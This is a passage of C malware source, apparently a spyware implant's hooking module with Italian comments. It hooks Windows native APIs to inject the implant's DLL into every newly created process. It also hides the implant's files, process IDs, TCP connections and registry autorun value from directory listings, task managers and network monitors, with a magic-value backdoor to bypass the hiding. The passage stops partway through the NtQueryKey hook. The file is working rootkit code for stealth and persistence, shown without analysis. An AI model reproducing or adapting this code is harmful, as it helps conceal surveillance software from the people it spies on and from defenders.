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HM_InbundleHook.h
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HM_InbundleHook.h
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#include <stdio.h>
#include <stdlib.h>
#include <Winsock.h>
#include "HM_HooksSystemStruct.h"
#define HDUMMY 0xabadc0de
#define BACKDOOR 0xabadc0de
// XXX Fare le inizializzazioni delle variabili locali sempre dopo la MARK_HOOK (vedi anche MARK_SEARCH_LIMIT)
//
// definizione delle funzioni richiamate dai wrappers
//
typedef BOOL (WINAPI *FreeLibrary_t) (HMODULE);
typedef FARPROC (WINAPI *GetProcAddress_t) (HMODULE, LPCSTR);
typedef HINSTANCE (WINAPI *LoadLibrary_t) (LPCTSTR);
typedef int (WINAPI *GetDeviceCaps_t) (HDC, int);
typedef HGDIOBJ (WINAPI *SelectObject_t) (HDC, HGDIOBJ);
typedef HDC (WINAPI *CreateCompatibleDC_t) (HDC);
typedef HBITMAP (WINAPI *CreateCompatibleBitmap_t) (HDC, int, int);
typedef BOOL (WINAPI *BitBlt_t) (HDC, int, int, int, int, HDC, int, int, DWORD);
typedef BOOL (WINAPI *StretchBlt_t) (HDC, int, int, int, int, HDC, int, int, int, int, DWORD);
typedef BOOL (WINAPI *DeleteObject_t) (HGDIOBJ);
typedef BOOL (WINAPI *FillRect_t) (HDC, RECT *, HBRUSH);
typedef HBRUSH (WINAPI *CreateBrushIndirect_t) (LOGBRUSH *);
typedef NTSTATUS (WINAPI *NtEnumerateValueKey_t) (HANDLE, ULONG, DWORD, KEY_VALUE_BASIC_INFORMATION *, ULONG, PULONG);
///////////////////////////
//
// CreateProcess
//
///////////////////////////
typedef struct {
COMMONDATA;
char szDLLName[_MAX_PATH];
char szHookThreadName[256];
ResumeThread_T pResumeThread;
} NTCreateProcessRWStruct, *PNTCreateProcessRWStruct;
NTCreateProcessRWStruct NTCreateProcessRWData;
static DWORD __stdcall NtCreateProcessHook( DWORD ARG1,
DWORD ARG2,
DWORD ARG3,
DWORD ARG4,
DWORD ARG5,
DWORD ARG6,
DWORD ARG7,
DWORD ARG8,
DWORD ARG9,
DWORD ARG10)
{
HMODULE H4DLL;
HANDLE hThreadRet;
DWORD OldFlags;
HM_sStartHookingThread_t psStartHookingThread;
MARK_HOOK
hThreadRet = 0;
INIT_WRAPPER(NTCreateProcessRWStruct)
// Il processo deve essere sospeso allo startup
// ARG6 = ARG6 | (DWORD)CREATE_SUSPENDED;
// Memorizza i vecchi flag
__asm{
PUSH EAX
MOV EAX, DWORD PTR [EBP+0x1C]
MOV [OldFlags], EAX
OR EAX, 0x04
MOV DWORD PTR [EBP+0x1C], EAX
POP EAX
}
// CAll api
CALL_ORIGINAL_API(10)
// Se fallisce ritorna
if (!ret_code)
return ret_code;
// Carica H4
H4DLL = pData->_LoadLibrary(pData->szDLLName);
// Se non riesce a caricare la DLL (es: e' stato
// disinstallato) avvia il thread principale (se deve)
// (Non wrappa i processi aperti in debug)
if (!H4DLL || (OldFlags & DEBUG_ONLY_THIS_PROCESS) || (OldFlags & DEBUG_PROCESS)) {
if (H4DLL)
pData->_FreeLibrary(H4DLL);
if (!(OldFlags & CREATE_SUSPENDED))
pData->pResumeThread(((PROCESS_INFORMATION *)ARG10)->hThread);
return ret_code;
}
// Indirizzo StartHookingThread
psStartHookingThread = (HM_sStartHookingThread_t)pData->_GetProcAddress(H4DLL, pData->szHookThreadName);
// Creazione ed esecuzione del Threddino
if(((PROCESS_INFORMATION *)ARG10)->hProcess && ((PROCESS_INFORMATION *)ARG10)->hThread) {
// Se CreateProcess e' richiamata con CREATE_SUSPENDED, azzera dwThid
// in maniera che il threadino non faccia la resume del thread principale
if (OldFlags & CREATE_SUSPENDED)
hThreadRet = psStartHookingThread(((PROCESS_INFORMATION *)ARG10)->dwProcessId, 0, TRUE, FALSE);
else
hThreadRet = psStartHookingThread(((PROCESS_INFORMATION *)ARG10)->dwProcessId, ((PROCESS_INFORMATION *)ARG10)->dwThreadId, TRUE, FALSE);
}
// Qualcosa e' andato storto resume del main thread
if (hThreadRet == INVALID_HANDLE_VALUE && !(OldFlags & CREATE_SUSPENDED))
pData->pResumeThread(((PROCESS_INFORMATION *)ARG10)->hThread);
// Scarica H4
pData->_FreeLibrary(H4DLL);
return ret_code;
}
static DWORD NtCreateProcessHook_setup(HMServiceStruct *pData)
{
HMODULE hMod;
VALIDPTR(hMod = GetModuleHandle("KERNEL32.DLL"))
// API utilizzate dal thread remoto.... [KERNEL32.DLL]
VALIDPTR(NTCreateProcessRWData._LoadLibrary = (LoadLibrary_T) HM_SafeGetProcAddress(hMod, "LoadLibraryA"))
VALIDPTR(NTCreateProcessRWData._GetProcAddress = (GetProcAddress_T) HM_SafeGetProcAddress(hMod, "GetProcAddress"))
VALIDPTR(NTCreateProcessRWData._FreeLibrary = (FreeLibrary_T) HM_SafeGetProcAddress(hMod, "FreeLibrary"))
VALIDPTR(NTCreateProcessRWData.pResumeThread = (ResumeThread_T) HM_SafeGetProcAddress(hMod, "ResumeThread"))
// Non lo prendiamo dai nomi guessati perche' la shared potrebbe non essere caricata
// se stiamo girando in un servizio
if (!FindModulePath(NTCreateProcessRWData.szDLLName, sizeof(NTCreateProcessRWData.szDLLName)))
return 1;
sprintf(NTCreateProcessRWData.szHookThreadName, "%s", "PPPFTBBP02");
NTCreateProcessRWData.dwHookLen = 300;
return 0;
}
///////////////////////////
//
// CreateProcessAsUser
//
///////////////////////////
static DWORD __stdcall NtCreateProcessAsUserHook( DWORD ARG1,
DWORD ARG2,
DWORD ARG3,
DWORD ARG4,
DWORD ARG5,
DWORD ARG6,
DWORD ARG7,
DWORD ARG8,
DWORD ARG9,
DWORD ARG10,
DWORD ARG11)
{
HMODULE H4DLL;
HANDLE hThreadRet;
DWORD OldFlags;
HM_sStartHookingThread_t psStartHookingThread;
MARK_HOOK
hThreadRet = 0;
INIT_WRAPPER(NTCreateProcessRWStruct)
// Il processo deve essere sospeso allo startup
// ARG7 = ARG7 | (DWORD)CREATE_SUSPENDED;
// Memorizza i vecchi flag
__asm{
PUSH EAX
MOV EAX, DWORD PTR [EBP+0x20]
MOV [OldFlags], EAX
OR EAX, 0x04
MOV DWORD PTR [EBP+0x20], EAX
POP EAX
}
// CAll api
CALL_ORIGINAL_API(11)
// Se fallisce ritorna
if (!ret_code)
return ret_code;
// Carica H4
H4DLL = pData->_LoadLibrary(pData->szDLLName);
// Se non riesce a caricare la DLL (es: e' stato
// disinstallato) avvia il thread principale (se deve)
// (Non wrappa i processi aperti in debug)
if (!H4DLL || (OldFlags & DEBUG_ONLY_THIS_PROCESS) || (OldFlags & DEBUG_PROCESS)) {
if (H4DLL)
pData->_FreeLibrary(H4DLL);
if (!(OldFlags & CREATE_SUSPENDED))
pData->pResumeThread(((PROCESS_INFORMATION *)ARG11)->hThread);
return ret_code;
}
// Indirizzo StartHookingThread
psStartHookingThread = (HM_sStartHookingThread_t)pData->_GetProcAddress(H4DLL, pData->szHookThreadName);
// Creazione ed esecuzione del Threddino
if(((PROCESS_INFORMATION *)ARG11)->hProcess && ((PROCESS_INFORMATION *)ARG11)->hThread) {
// Se CreateProcess e' richiamata con CREATE_SUSPENDED, azzera dwThid
// in maniera che il threadino non faccia la resume del thread principale
if (OldFlags & CREATE_SUSPENDED)
hThreadRet = psStartHookingThread(((PROCESS_INFORMATION *)ARG11)->dwProcessId, 0, TRUE, FALSE);
else
hThreadRet = psStartHookingThread(((PROCESS_INFORMATION *)ARG11)->dwProcessId, ((PROCESS_INFORMATION *)ARG11)->dwThreadId, TRUE, FALSE);
}
// Qualcosa e' andato storto resume del main thread
if (hThreadRet == INVALID_HANDLE_VALUE && !(OldFlags & CREATE_SUSPENDED))
pData->pResumeThread(((PROCESS_INFORMATION *)ARG11)->hThread);
// Scarica H4
pData->_FreeLibrary(H4DLL);
return ret_code;
}
//////////////////////////
//
// NtQueryDirectoryFile
//
//////////////////////////
#define HIDE_NAME_COUNT 3
typedef struct {
COMMONDATA;
char name_to_hide[HIDE_NAME_COUNT][MAX_RAND_NAME];
memcpy_t pMemcpy;
} NtQueryDirectoryFileStruct;
NtQueryDirectoryFileStruct NtQueryDirectoryFileData;
static DWORD __stdcall NtQueryDirectoryFileHook(DWORD ARG1 ,
DWORD ARG2,
DWORD ARG3,
DWORD ARG4,
DWORD ARG5,
char *FileInformation,
ULONG FileInformationLength,
DWORD FileInformationClass,
DWORD ARG9,
DWORD ARG10,
DWORD ARG11)
{
DWORD b_len, jj;
DWORD *old_b_len;
char *Src;
char *file_name;
DWORD file_name_len;
BOOLEAN found;
BOOL *Active;
BOOL is_to_hide;
#define NO_SUCH_FILE 0xC000000F
MARK_HOOK
old_b_len = NULL;
file_name = NULL;
file_name_len = 0;
found = FALSE;
INIT_WRAPPER(NtQueryDirectoryFileStruct)
CALL_ORIGINAL_API(11)
if(ret_code != 0 || FileInformationLength <= 0)
return ret_code;
// Se e' attivo il crisi agent (per il system),
// allora non nasconde i file
if (pData->pHM_IpcCliRead) {
Active = (BOOL *)pData->pHM_IpcCliRead(PM_CRISISAGENT);
if (!Active || (*Active))
return ret_code;
}
Src = (char *)FileInformation;
if (FileInformationClass != FileDirectoryInformation &&
FileInformationClass != FileFullDirectoryInformation &&
FileInformationClass != FileBothDirectoryInformation &&
FileInformationClass != FileNamesInformation &&
FileInformationClass != FileIdBothDirInformation &&
FileInformationClass != FileIdFullDirectoryInformation)
return ret_code;
do {
// Tanto per tutte le strutture e' sempre la prima entry
b_len = ((FILE_DIRECTORY_INFORMATION *)Src)->NextEntryOffset;
if (FileInformationClass == FileDirectoryInformation) {
file_name = (char *)(((FILE_DIRECTORY_INFORMATION *)Src)->FileName);
file_name_len = (DWORD)(((FILE_DIRECTORY_INFORMATION *)Src)->FileNameLength);
}
if (FileInformationClass == FileFullDirectoryInformation) {
file_name = (char *)(((FILE_FULL_DIRECTORY_INFORMATION *)Src)->FileName);
file_name_len = (DWORD)(((FILE_FULL_DIRECTORY_INFORMATION *)Src)->FileNameLength);
}
if (FileInformationClass == FileBothDirectoryInformation) {
file_name = (char *)(((FILE_BOTH_DIRECTORY_INFORMATION *)Src)->FileName);
file_name_len = (DWORD)(((FILE_BOTH_DIRECTORY_INFORMATION *)Src)->FileNameLength);
}
if (FileInformationClass == FileNamesInformation) {
file_name = (char *)(((FILE_NAMES_INFORMATION *)Src)->FileName);
file_name_len = (DWORD)(((FILE_NAMES_INFORMATION *)Src)->FileNameLength);
}
if (FileInformationClass == FileIdBothDirInformation) {
file_name = (char *)(((FILE_ID_BOTH_DIR_INFORMATION *)Src)->FileName);
file_name_len = (DWORD)(((FILE_ID_BOTH_DIR_INFORMATION *)Src)->FileNameLength);
}
if (FileInformationClass == FileIdFullDirectoryInformation) {
file_name = (char *)(((FILE_ID_FULL_DIR_INFORMATION *)Src)->FileName);
file_name_len = (DWORD)(((FILE_ID_FULL_DIR_INFORMATION *)Src)->FileNameLength);
}
file_name_len /=2; // E' unicode
// Vede se dobbiamo cancellare questa entry
is_to_hide = FALSE;
for (jj=0; jj<HIDE_NAME_COUNT; jj++) {
IF_LSTRCMP(file_name, name_to_hide[jj], file_name_len) {
is_to_hide = TRUE;
break;
}
}
if (is_to_hide) {
if (old_b_len) {
*old_b_len += b_len;
// E' l'ultima entry
if (b_len == 0)
*old_b_len = 0;
} else {// E' la prima entry
FileInformationLength -= b_len;
if (FileInformationLength >0) {
pData->pMemcpy(Src, Src + b_len, FileInformationLength);
Src -= b_len; // Per compensare il + di dopo
}
}
} else {
found = TRUE;
old_b_len = &((FILE_DIRECTORY_INFORMATION *)Src)->NextEntryOffset;
}
Src += b_len;
} while(b_len!=0);
if (!found)
return NO_SUCH_FILE;
return ret_code;
}
static DWORD NtQueryDirectoryFileHook_setup(HMServiceStruct *pData)
{
HMODULE hMod;
VALIDPTR(hMod = GetModuleHandle("NTDLL.DLL"))
VALIDPTR(NtQueryDirectoryFileData.pMemcpy = (memcpy_t) HM_SafeGetProcAddress(hMod, "memcpy"))
memcpy(NtQueryDirectoryFileData.name_to_hide[0], H4_HOME_DIR, sizeof(NtQueryDirectoryFileData.name_to_hide[0])); // E' sicuramente NULL terminato
_snprintf_s(NtQueryDirectoryFileData.name_to_hide[1], MAX_RAND_NAME, _TRUNCATE, "%s.exe", EXE_INSTALLER_NAME);
_snprintf_s(NtQueryDirectoryFileData.name_to_hide[2], MAX_RAND_NAME, _TRUNCATE, "%s.exe", "efi_installer.exe");
// Variabili shared per la creazione degli Hooks...
NtQueryDirectoryFileData.dwHookLen = 850;
NtQueryDirectoryFileData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
return 0;
}
///////////////////////////
//
// NTQuerySystemInformation
//
///////////////////////////
typedef struct {
COMMONDATA;
} NTQuerySystemInformationStruct;
NTQuerySystemInformationStruct NTQuerySystemInformationData;
#define IF_PID_NOT_PRESENT(x,y) BOOL pid_present = FALSE; \
pid_hide_struct *p_phs = y; \
if (p_phs) while (IS_SET_PID_HIDE_STRUCT((*p_phs))) { \
if (p_phs->PID == x) { \
pid_present = TRUE; \
break; \
} \
p_phs++; \
} if (!pid_present)
static DWORD WINAPI NtQuerySystemInformationHook(SYSTEM_INFORMATION_CLASS pSystemInformationClass,
PVOID pSystemInformation,
LONG SystemInformationLength,
PULONG ReturnLength)
{
SYSTEM_PROCESS_INFORMATION *Spi;
SYSTEM_PROCESS_INFORMATION *PrevSpi;
BYTE *SPI_Offs;
pid_hide_struct *p_pid_hide;
MARK_HOOK
Spi = NULL;
PrevSpi = NULL;
INIT_WRAPPER(NTQuerySystemInformationStruct)
CALL_ORIGINAL_API(4)
if (ret_code >= 0x40000000)
return ret_code;
// Legge la lista dei PID da nascondere
p_pid_hide = (pid_hide_struct *)pData->pHM_IpcCliRead(WR_HIDE_PID);
SPI_Offs = (BYTE *)pSystemInformation;
if (pSystemInformationClass == SystemProcessInformation &&
pSystemInformation != NULL) {
do {
Spi = (SYSTEM_PROCESS_INFORMATION *) SPI_Offs;
if ( SPI_Offs + sizeof(SYSTEM_PROCESS_INFORMATION) > (BYTE *) pSystemInformation + SystemInformationLength )
break;
IF_PID_NOT_PRESENT(Spi->UniqueProcessId, p_pid_hide)
PrevSpi = Spi;
else {
// Unlinka la struttura del nostro processo
if(PrevSpi)
PrevSpi->NextEntryOffset += Spi->NextEntryOffset;
// Se e' l'ultimo processo, termina la lista
if (Spi->NextEntryOffset == 0)
PrevSpi->NextEntryOffset = 0;
}
SPI_Offs += Spi->NextEntryOffset;
} while(Spi->NextEntryOffset);
}
return ret_code;
}
DWORD NtQuerySystemInformationHook_setup(HMServiceStruct *pData)
{
//--------------
// Per BlackLiht non facciamo nascondere i PID a explorer.exe
// ...tanto explorer di per se non ha una funzione per listare
// i processi
char proc_path[DLLNAMELEN];
char *proc_name;
HMODULE hMod;
ZeroMemory(proc_path, sizeof(proc_path));
FNC(GetModuleFileNameA)(NULL, proc_path, sizeof(proc_path)-1);
proc_name = strrchr(proc_path, '\\');
if (proc_name) {
proc_name++;
if (!stricmp(proc_name, "explorer.exe"))
return 1;
}
//----------------
NTQuerySystemInformationData.dwHookLen = 400;
NTQuerySystemInformationData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
return 0;
}
///////////////////////////
//
// NtDeviceIoControlFile
//
///////////////////////////
#define EOFFSET(X,Y) ((int) X - (int) Y)
#define NEXTSTR(X) while( *X != 0 && *X != 9 ) X++;
#define GETPIDSTR(X) while( *X != ':' && *X != 0 && *X != 9 ) X++;
#define COLDLOOP(X) for(;X>0; X--)
//
// PATCH per win2k :
// se p_chs->ip_address == [IP da nascondere] allora memorizzo la sua localport
// se scandendo le successive entry nella lista trovo la stessa localport con 0.0.0.0
// tolgo pure questa...
#define IF_CON_NOT_PRESENT(x,y) BOOL con_present = FALSE; \
connection_hide_struct *p_chs = y; \
if (p_chs) while (IS_SET_CONNETCION_HIDE_STRUCT((*p_chs))) { \
if ( (p_chs->ip_address == x->dwRemoteAddr) || (x->dwLocalAddr == 0 && x->dwLocalPort == pData->dwLocalPort && pData->dwLocalPort) ) { \
con_present = TRUE; \
break; \
} \
p_chs++; \
} if (!con_present)
// Patch per Win2K
// Per ricerca localport di Internet Explorer
//
#define IF_CON_PRESENT(x,y) BOOL con_presentTmp = FALSE; \
connection_hide_struct *p_chsTmp = y; \
if (p_chsTmp) while ( IS_SET_CONNETCION_HIDE_STRUCT((*p_chsTmp)) ) { \
if ( (p_chsTmp->ip_address == x->dwRemoteAddr) && (p_chsTmp->port == x->dwRemotePort) ) { \
con_presentTmp = TRUE; \
break; \
} \
p_chsTmp++; \
} if (con_presentTmp)
typedef struct {
DWORD dwCnt;
DWORD dwData1;
DWORD dwData2;
DWORD dwTime;
DWORD dwMillisec;
char szInfo[4];
} FileMonDevStruct;
typedef struct {
COMMONDATA;
atoi_t pAtoi;
memcpy_t pMemcpy;
DWORD dwLocalPort;
} NTDeviceIOControlFileStruct;
NTDeviceIOControlFileStruct NTDeviceIOControlFileData;
#define TCPVIEW_DEV 1
#define FILEMON_DEV 2
#define VISTA_NSI 3
#define TCP_STD 1
#define TCP_EXT 2
#define TCP_SUP 3
DWORD __stdcall NtDeviceIoControlFileHook(DWORD ARG1,
DWORD ARG2,
DWORD ARG3,
DWORD ARG4,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG IoControlCode,
char *InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength)
{
DWORD ext, dwType;
FileMonDevStruct * pFmEntry;
DWORD dwPid;
char *pTmp;
char *DestEntry;
char *CurEntry;
char *NxtEntry;
int NumStr, NumBytes;
char szPID[8];
connection_hide_struct *p_connection_hide;
pid_hide_struct *p_pid_hide;
BOOL to_hide_block;
MARK_HOOK
// Inizializzazione
ext = 0;
dwType = FALSE;
CurEntry = 0;
NxtEntry = 0;
NumBytes = 0;
// Altrimenti il compiler usa i parametri di chiamata!!!
__asm {
PUSH ESI
MOV ESI, DWORD PTR [EBP+0x28]
MOV [pTmp], ESI
MOV [DestEntry], ESI
MOV [dwPid], 0xFFFFFFFF
POP ESI
}
INIT_WRAPPER(NTDeviceIOControlFileStruct)
// Connessioni tcp
if( IoControlCode == 0x000120003 &&
InputBuffer &&
OutputBuffer &&
OutputBufferLength > 0 &&
InputBufferLength > 0 &&
InputBuffer[0] == 0x00 &&
InputBuffer[1] == 0x04 &&
InputBuffer[17] == 0x01)
{
dwType = TCPVIEW_DEV;
if (InputBuffer[16] == 0x2)
ext = TCP_EXT;
else if (InputBuffer[16] == 0x1)
ext = TCP_STD;
else
ext = TCP_SUP;
} else if(IoControlCode == 0x8300000B) {
dwType = FILEMON_DEV;
} else if (IoControlCode == 0x00012001B) {
dwType = VISTA_NSI;
}
CALL_ORIGINAL_API(10)
// Se ritorna un errore, bisogna non fare il lavoro
// di parsing dell'output
if (ret_code != 0)
return ret_code;
// Legge la lista delle connessioni da nascondere per usarla nella
// scansione delle row semplici
p_connection_hide = (connection_hide_struct *)pData->pHM_IpcCliRead(WR_HIDE_CON);
// Legge la lista di PID da nascondere per usarla nella scansione
// delle row extended o dei file handle
p_pid_hide = (pid_hide_struct *)pData->pHM_IpcCliRead(WR_HIDE_PID);
// Parsing dell'array delle conessioni....
if(dwType == TCPVIEW_DEV) {
DWORD len = IoStatusBlock->Information;
MIB_TCPROW_EX *row_ex;
MIB_TCPROW *row;
MIB_TCPROW_SUP *row_sup;
char *Src;
char *Dst;
// XXX - Cerca la localport per il fix su Win2K
// NB. si presuppone che ci sia una sola connessione
// al server... (uso solo wCon_present_port)
// non viene gestita la eventualita' in cui ci siano piu' entry in p_connection_hide
Src = (char *)OutputBuffer;
DWORD lenTmp = IoStatusBlock->Information;
while ( (ext==TCP_STD && lenTmp >= sizeof(MIB_TCPROW)) && *((DWORD *)Src)!=0 ) {
MIB_TCPROW *pEntry = (MIB_TCPROW *)Src;
IF_CON_PRESENT( pEntry, p_connection_hide) {
pData->dwLocalPort = ((MIB_TCPROW *) Src)->dwLocalPort;
break;
}
Src += sizeof(MIB_TCPROW);
lenTmp -= sizeof(MIB_TCPROW);
}
Src = (char *)OutputBuffer;
Dst = (char *)OutputBuffer;
IoStatusBlock->Information = 0;
while ( (ext==TCP_EXT && len >= sizeof(MIB_TCPROW_EX)) ||
(ext==TCP_STD && len >= sizeof(MIB_TCPROW)) ||
(ext==TCP_SUP && len >= *((DWORD *)Src) && *((DWORD *)Src)!=0)) {
if(ext==TCP_EXT) {
row_ex = (MIB_TCPROW_EX *)Src;
// XXX Nasconde tutte le connessioni che non sono in listen o in established
if (row_ex->dwState == 2 || row_ex->dwState == 5) {
IF_PID_NOT_PRESENT(row_ex->dwProcessId, p_pid_hide) {
IF_CON_NOT_PRESENT(row_ex, p_connection_hide) {
pData->pMemcpy(Dst, Src, sizeof(MIB_TCPROW_EX));
Dst += sizeof(MIB_TCPROW_EX);
IoStatusBlock->Information += sizeof(MIB_TCPROW_EX);
}
}
}
Src += sizeof(MIB_TCPROW_EX);
len -= sizeof(MIB_TCPROW_EX);
} else if(ext==TCP_STD) {
row = (MIB_TCPROW *)Src;
// XXX Nasconde tutte le connessioni che non sono in listen o in established
if (row->dwState == 2 || row->dwState == 5) {
IF_CON_NOT_PRESENT(row, p_connection_hide) {
pData->pMemcpy(Dst, Src, sizeof(MIB_TCPROW));
Dst += sizeof(MIB_TCPROW);
IoStatusBlock->Information += sizeof(MIB_TCPROW);
}
}
Src += sizeof(MIB_TCPROW);
len -= sizeof(MIB_TCPROW);
} else {
row_sup = (MIB_TCPROW_SUP *)Src;
if (row_sup->dwState == 2 || row_sup->dwState == 5) {
IF_PID_NOT_PRESENT(row_sup->dwProcessId, p_pid_hide) {
IF_CON_NOT_PRESENT(row_sup, p_connection_hide) {
pData->pMemcpy(Dst, Src, row_sup->dwTot);
Dst += row_sup->dwTot;
IoStatusBlock->Information += row_sup->dwTot;
}
}
}
Src += row_sup->dwTot;
len -= row_sup->dwTot;
}
}
} else
// Parsing array dei file handle
if(dwType == FILEMON_DEV) {
while( pTmp < ((char *)OutputBuffer + IoStatusBlock->Information) ){
// Nuova Entry
CurEntry = pTmp;
// Numero di stringe nell'entry
// in base alla seconda DWORD
if( ((FileMonDevStruct*)pTmp)->dwData1 )
NumStr = 5;
else
NumStr = 4;
// La stringa...
pTmp = ((FileMonDevStruct*)pTmp)->szInfo;
// Cerca il Pid
GETPIDSTR(pTmp)
// Trovato il Pid
if( *pTmp == ':' ) {
int a = 0;
do {
pTmp++;
szPID[a] = *pTmp;
a++;
} while( *pTmp != 0 && *pTmp != 9 );
pTmp++;
szPID[a-1] = 0;
NumStr--;
// Usato per matchare le entry da nascondere
dwPid = (DWORD) pData->pAtoi(szPID);
}
// Skip delle altre stringhe
to_hide_block = FALSE;
COLDLOOP(NumStr)
{
//NEXTSTR(pTmp)
// Se nelle stringhe c'e' _( allora non copia
// la riga
while( *pTmp != 0 && *pTmp != 9 ) {
if (*pTmp == '_' && *(pTmp+1) == '(')
to_hide_block = TRUE;
pTmp++;
}
pTmp++;
}
// Align Entry
while( ((pTmp - OutputBuffer)%4) )
pTmp++;
// Prossimo elemento e marker di fine
// di quello corrente
NxtEntry = pTmp;
// Se deve nascondere per questioni di nome
// allora continua il loop (non copiando la stringa)
if (to_hide_block)
continue;
// se non lo devo nascondere lo ricopio...
IF_PID_NOT_PRESENT(dwPid, p_pid_hide) {
pData->pMemcpy(DestEntry, CurEntry, EOFFSET(NxtEntry,CurEntry));
NumBytes += EOFFSET(NxtEntry,CurEntry);
DestEntry += EOFFSET(NxtEntry,CurEntry);
}
}
// Aggiorna la lunghezza dell'array...
IoStatusBlock->Information = NumBytes;
} else if (dwType == VISTA_NSI) {
DWORD counter_src, counter_dst, tot_entry;
NSI_PARAMS *nsi_par = (NSI_PARAMS *)OutputBuffer;
MIB_TCPROW row, *prow;
if (nsi_par->row && nsi_par->status && nsi_par->type==0x38) {
tot_entry = nsi_par->count;
nsi_par->count = 0;
counter_src = counter_dst = 0;
for (; counter_src<tot_entry; counter_src++) {
row.dwLocalAddr = nsi_par->row[counter_src].local_address;
row.dwRemoteAddr = nsi_par->row[counter_src].remote_address;
row.dwLocalPort = nsi_par->row[counter_src].local_port;
row.dwRemotePort = nsi_par->row[counter_src].remote_port;
row.dwState = nsi_par->status[counter_src].status;
prow = &row;
// XXX Nasconde tutte le connessioni che non sono in listen o in established
if (prow->dwState==2 || prow->dwState==5) {
IF_CON_NOT_PRESENT(prow, p_connection_hide) {
pData->pMemcpy(&(nsi_par->row[counter_dst]), &(nsi_par->row[counter_src]), sizeof(TCP_VISTA_ROW));
pData->pMemcpy(&(nsi_par->status[counter_dst]), &(nsi_par->status[counter_src]), sizeof(TCP_VISTA_STATUS));
counter_dst++;
nsi_par->count++;
}
}
}
}
}
return ret_code;
}
DWORD NtDeviceIoControlFileHook_setup(HMServiceStruct *pData)
{
HMODULE hMod;
VALIDPTR(hMod = GetModuleHandle("NTDLL.DLL"))
VALIDPTR(NTDeviceIOControlFileData.pAtoi = (atoi_t) HM_SafeGetProcAddress(hMod, "atoi"))
VALIDPTR(NTDeviceIOControlFileData.pMemcpy = (memcpy_t) HM_SafeGetProcAddress(hMod, "memcpy"))
NTDeviceIOControlFileData.pHM_IpcCliRead = pData->pHM_IpcCliRead;
NTDeviceIOControlFileData.dwLocalPort = 0;
NTDeviceIOControlFileData.dwHookLen = 1800;
return 0;
}
///////////////////////////
//
// NtEnumerateValueKey
//
///////////////////////////
typedef struct {
COMMONDATA;
char name_to_hide[MAX_RAND_NAME];
} NtEnumerateValueKeyStruct;
NtEnumerateValueKeyStruct NtEnumerateValueKeyData;
DWORD __stdcall NtEnumerateValueKeyHook(DWORD ARG1,
DWORD RIndex,
DWORD InformationClass,
DWORD *KeyValueInformation,
DWORD InformationLen,
DWORD *ResultLen)
{
char *value_name;
BOOL loop;
BOOL backdoor;
DWORD t_index;
DWORD r_index;
DWORD found;
DWORD information_class;
DWORD *arg_ptr;
DWORD name_len;
MARK_HOOK
t_index = 0;
found = 0;
// Piccolo trucco per convincere il compilatore
// a usare i parametri di chiamata
__asm {
PUSH ESI
LEA ESI, DWORD PTR [EBP+0x8]
MOV [arg_ptr], ESI
POP ESI
}
// Backdoor! Mettendo information_class == 0xABADC0DE
// non viene nascosta la chiave (usata per il wrapper
// di enumerazione).
if (arg_ptr[2] == BACKDOOR) {
backdoor = TRUE;
arg_ptr[2] = 0;
} else
backdoor = FALSE;
r_index = arg_ptr[1]; // r_index = RIndex;
information_class = arg_ptr[2]; // information_class = InformationClass;
INIT_WRAPPER(NtEnumerateValueKeyStruct)
do {
loop = FALSE;
arg_ptr[2] = 0; //InformationClass = 0;
arg_ptr[1] = t_index; //RIndex = t_index;
CALL_ORIGINAL_API(6)
// If success. RIndex e' quello richiesto.
if ((*ResultLen)>0 && ret_code==0) {
value_name = (char *)(((KEY_VALUE_BASIC_INFORMATION *)KeyValueInformation)->Name);
name_len = (DWORD)(((KEY_VALUE_BASIC_INFORMATION *)KeyValueInformation)->NameLength);
name_len /= 2; // E' in unicode
// Se non e' la chiave da nascondere o e' richiamata come
// backdoor, incrementa il numero delle chiavi da far vedere.
found++;
IF_LSTRCMP(value_name, name_to_hide, name_len)
if (!backdoor)
found--;
if (found <= r_index) {
t_index++;
loop = TRUE;
}
}
} while(loop);
arg_ptr[2] = information_class; //InformationClass = information_class;
CALL_ORIGINAL_API(6)
return ret_code;
}
DWORD NtEnumerateValueKeyHook_setup(HMServiceStruct *pData)
{
memcpy(NtEnumerateValueKeyData.name_to_hide, REGISTRY_KEY_NAME, sizeof(NtEnumerateValueKeyData.name_to_hide)); // E' sicuramente NULL terminato
NtEnumerateValueKeyData.dwHookLen = 1000;
return 0;
}
///////////////////////////
//
// NtQueryKey
//
///////////////////////////
typedef struct {
COMMONDATA;
char name_to_hide[MAX_RAND_NAME];
NtEnumerateValueKey_t pNtEnumerateValueKey;
} NtQueryKeyStruct;
NtQueryKeyStruct NtQueryKeyData;
DWORD __stdcall NtQueryKeyHook(DWORD ARG1,
DWORD InformationClass,
KEY_FULL_INFORMATION *KeyInformation,
DWORD InformationLen,
DWORD *ResultLen)
{
DWORD index;
DWORD *arg_ptr;
char local_key_struct[SMLSIZE];
KEY_FULL_INFORMATION *full_info;
KEY_STR_INFORMATION *str_info;
char *value_name;
DWORD name_len;
BOOL found;
DWORD ret_value;
DWORD ret_len;
MARK_HOOK
// Piccolo trucco per convincere il compilatore
// a usare i parametri di chiamata
__asm {
PUSH ESI
LEA ESI, DWORD PTR [EBP+0x8]
MOV [arg_ptr], ESI
POP ESI
}
INIT_WRAPPER(NtQueryKeyStruct)
// Cerca di vedere se in questa chiave c'e' il
// valore da nascondere
found = FALSE;
for (index=0;;index++) {
ret_value = pData->pNtEnumerateValueKey((HANDLE)arg_ptr[0], index, BACKDOOR, (KEY_VALUE_BASIC_INFORMATION *)local_key_struct, sizeof(local_key_struct), &ret_len);
if (ret_len==0 || ret_value!=0)
break;
value_name = (char *)(((KEY_VALUE_BASIC_INFORMATION *)local_key_struct)->Name);
name_len = (DWORD)(((KEY_VALUE_BASIC_INFORMATION *)local_key_struct)->NameLength);
name_len /= 2; // E' in unicode
IF_LSTRCMP(value_name, name_to_hide, name_len)
found = TRUE;
}